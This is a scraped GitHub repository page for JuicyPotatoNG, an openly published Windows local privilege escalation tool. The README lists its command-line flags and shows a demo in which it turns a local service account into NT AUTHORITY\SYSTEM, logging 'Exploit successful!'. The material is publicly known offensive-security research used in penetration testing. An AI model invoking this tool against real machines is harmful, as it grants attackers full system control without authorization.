

Product ▾

Solutions ▾

Resources ▾

Open Source ▾


Enterprise ▾

Pricing


Q


Sign in


Sign up

 antonioCoco / JuicyPotatoNG


Public


 Notifications


 Fork 99


 Star 801


<> Code


 Issues 1


 Pull requests


 Actions


 Projects

 Security

 Insights

 main ▾




























Q


Go to file


<> Code ▾


 antonioCoco Merge pull request [#2](#) from antonioCoco/...  a3ca4f3 · 2 years ago  14 Commits


 .gitignore	Initial commit	2 years ago
 BruteforceCLSIDs.cpp	added -b flag to bruteforce all CLSIDs	2 years ago
 BruteforceCLSIDs.h	added -b flag to bruteforce all CLSIDs	2 years ago
 IStorageTrigger.cpp	JuicyPotatoNG released!	2 years ago
 IStorageTrigger.h	JuicyPotatoNG released!	2 years ago
 IUnknownObj.cpp	JuicyPotatoNG released!	2 years ago
 IUnknownObj.h	JuicyPotatoNG released!	2 years ago
 JuicyPotatoNG.cpp	added -s flag to find non filtered ports ...	2 years ago
 JuicyPotatoNG.sln	JuicyPotatoNG released!	2 years ago
 JuicyPotatoNG.vcxproj	added -b flag to bruteforce all CLSIDs	2 years ago
 JuicyPotatoNG.vcxproj.filters	added -b flag to bruteforce all CLSIDs	2 years ago
 LICENSE	Initial commit	2 years ago
 PotatoTrigger.cpp	added -b flag to bruteforce all CLSIDs	2 years ago
 PotatoTrigger.h	JuicyPotatoNG released!	2 years ago
 README.md	Update README.md	2 years ago
 SSPIHooks.cpp	added flag -i for interactive mode	2 years ago
 SSPIHooks.h	JuicyPotatoNG released!	2 years ago
 demo.png	Add files via upload	2 years ago
 test_system_ports.ps1	JuicyPotatoNG released!	2 years ago


 Readme

 MIT license

 Activity


 801 stars

 11 watching

 99 forks

Report repository

Releases 2

 JuicyPotatoNG v1.1 Latest


on Oct 5, 2022


+ 1 release

Packages

No packages published

Contributors 2

 antonioCoco


 decoder-it


Languages


C++ 96.9%

C 2.1%

PowerShell 1.0%

 README

 MIT license




# JuicyPotatoNG

Just another Windows Local Privilege Escalation from Service Account to System. Full details at --> <https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/>

## Usage

JuicyPotatoNG  
by decoder\_it & splinter\_code



Page 1 of 2

Mandatory args:

- t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProces:
- p <program>: program to launch

Optional args:

- l <port>: COM server listen port (Default 10247)
- a <argument>: command line argument to pass to program (default NULL)
- c <CLSID>: (Default {854A20FB-2D44-457D-992F-EF13785D2B51})
- i : Interactive Console (valid only with CreateProcessAsUser)

Additional modes:

- b : Bruteforce all CLSIDs. !ALERT: USE ONLY FOR TESTING. About 1000
- s : Seek for a suitable COM port not filtered by the Windows firewa:

## Demo

```
C:\Users\splintercode\source\repos\JuicyPotatoNG\x64\Release>whoami
nt authority\local service

C:\Users\splintercode\source\repos\JuicyPotatoNG\x64\Release>JuicyPotatoNG.exe -t * -p "C:\windows\system32\cmd.exe" -a
"/c whoami > C:\juicypotatong.txt"

JuicyPotatoNG
by decoder_it & splinter_code

[*] Testing CLSID {854A20FB-2D44-457D-992F-EF13785D2B51} - COM server port 10247
[+] authresult success {854A20FB-2D44-457D-992F-EF13785D2B51};NT AUTHORITY\SYSTEM;Impersonation
[+] CreateProcessWithTokenW OK
[+] Exploit successful!

C:\Users\splintercode\source\repos\JuicyPotatoNG\x64\Release>type C:\juicypotatong.txt
nt authority\system

C:\Users\splintercode\source\repos\JuicyPotatoNG\x64\Release>
```

## Authors

- [Andrea Pierini](#)
- [Antonio Cocomazzi](#)